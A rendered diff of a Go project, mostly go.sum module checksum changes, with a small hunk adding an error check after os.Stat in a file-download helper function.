github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
@@ -575,7 +559,6 @@ github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4-0.20190131011033-7dc38fb350b1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
@@ -594,7 +577,6 @@ github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
@@ -622,9 +604,9 @@ github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Ky
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.12 h1:Y41i/hVW3Pgwr8gV+J23B9YEY0zxjptBuCWEaxmAOow=
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
@@ -636,19 +618,12 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
github.com/mistifyio/go-zfs v2.1.2-0.20190413222219-f784269be439+incompatible/go.mod h1:8AuVvqP/mXw1px98n46wfvcGfQ4ci2FwoAjKYxuo3Z4=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/osext v0.0.0-20151018003038-5e2d6d41470f/go.mod h1:OkQIRizQZAeMln+1tSwduZz7+Af5oFlKirV/MSYes2A=
github.com/moby/locker v1.0.1/go.mod h1:S7SDdo5zpBK84bzzVlKr2V0hz+7x9hWbYC/kq7oQppc=
@@ -703,7 +678,6 @@ github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mo
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pelletier/go-toml v1.8.1/go.mod h1:T2/BmBdy8dvIRq1a/8aqjN41wvWlN4lrapLU/GW4pbc=
@@ -716,7 +690,6 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/cachecontrol v0.0.0-20171018203845-0dec1b30a021/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
@@ -749,6 +722,9 @@ github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
@@ -756,10 +732,9 @@ github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/safchain/ethtool v0.0.0-20190326074333-42ed695e3de8/go.mod h1:Z0q5wiBQGYcxhMZ6gUqHn6pYNLypFAvaL3UvgZLR0U4=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
github.com/seccomp/libseccomp-golang v0.9.1/go.mod h1:GbW5+tmTXfcxTToHLXlScSlAvWlF4P2Ca7zGrPiEpWo=
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
@@ -772,11 +747,10 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
@@ -784,8 +758,8 @@ github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTd
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
github.com/spf13/cobra v1.1.1 h1:KfztREH0tPxJJ+geloSLaAkaPkr4ki2Er5quFV1TDo4=
github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
@@ -793,7 +767,6 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
github.com/stefanberger/go-pkcs11uri v0.0.0-20201008174630-78d3cae3a980/go.mod h1:AO3tvPzVZ/ayst6UlUKUv6rcPQInYe3IknH3jYhAKu8=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
@@ -810,7 +783,6 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/syndtr/gocapability v0.0.0-20180916011248-d98352740cb2/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww=
github.com/tchap/go-patricia v2.2.6+incompatible/go.mod h1:bmLyhP68RS6kStMGxByiQ23RP/odRBOTVjwp2cDyi6I=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
@@ -872,7 +844,6 @@ go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181009213950-7c1a557ab941/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
@@ -940,7 +911,6 @@ golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73r
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181005035420-146acd28ed58/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181011144130-49bb7cea24b1/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -1017,11 +987,9 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -1109,10 +1077,12 @@ golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -1156,7 +1126,6 @@ golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
@@ -1343,7 +1312,6 @@ gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMy
gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo=
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
@@ -1356,6 +1324,7 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+3
View File
@@ -372,6 +372,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
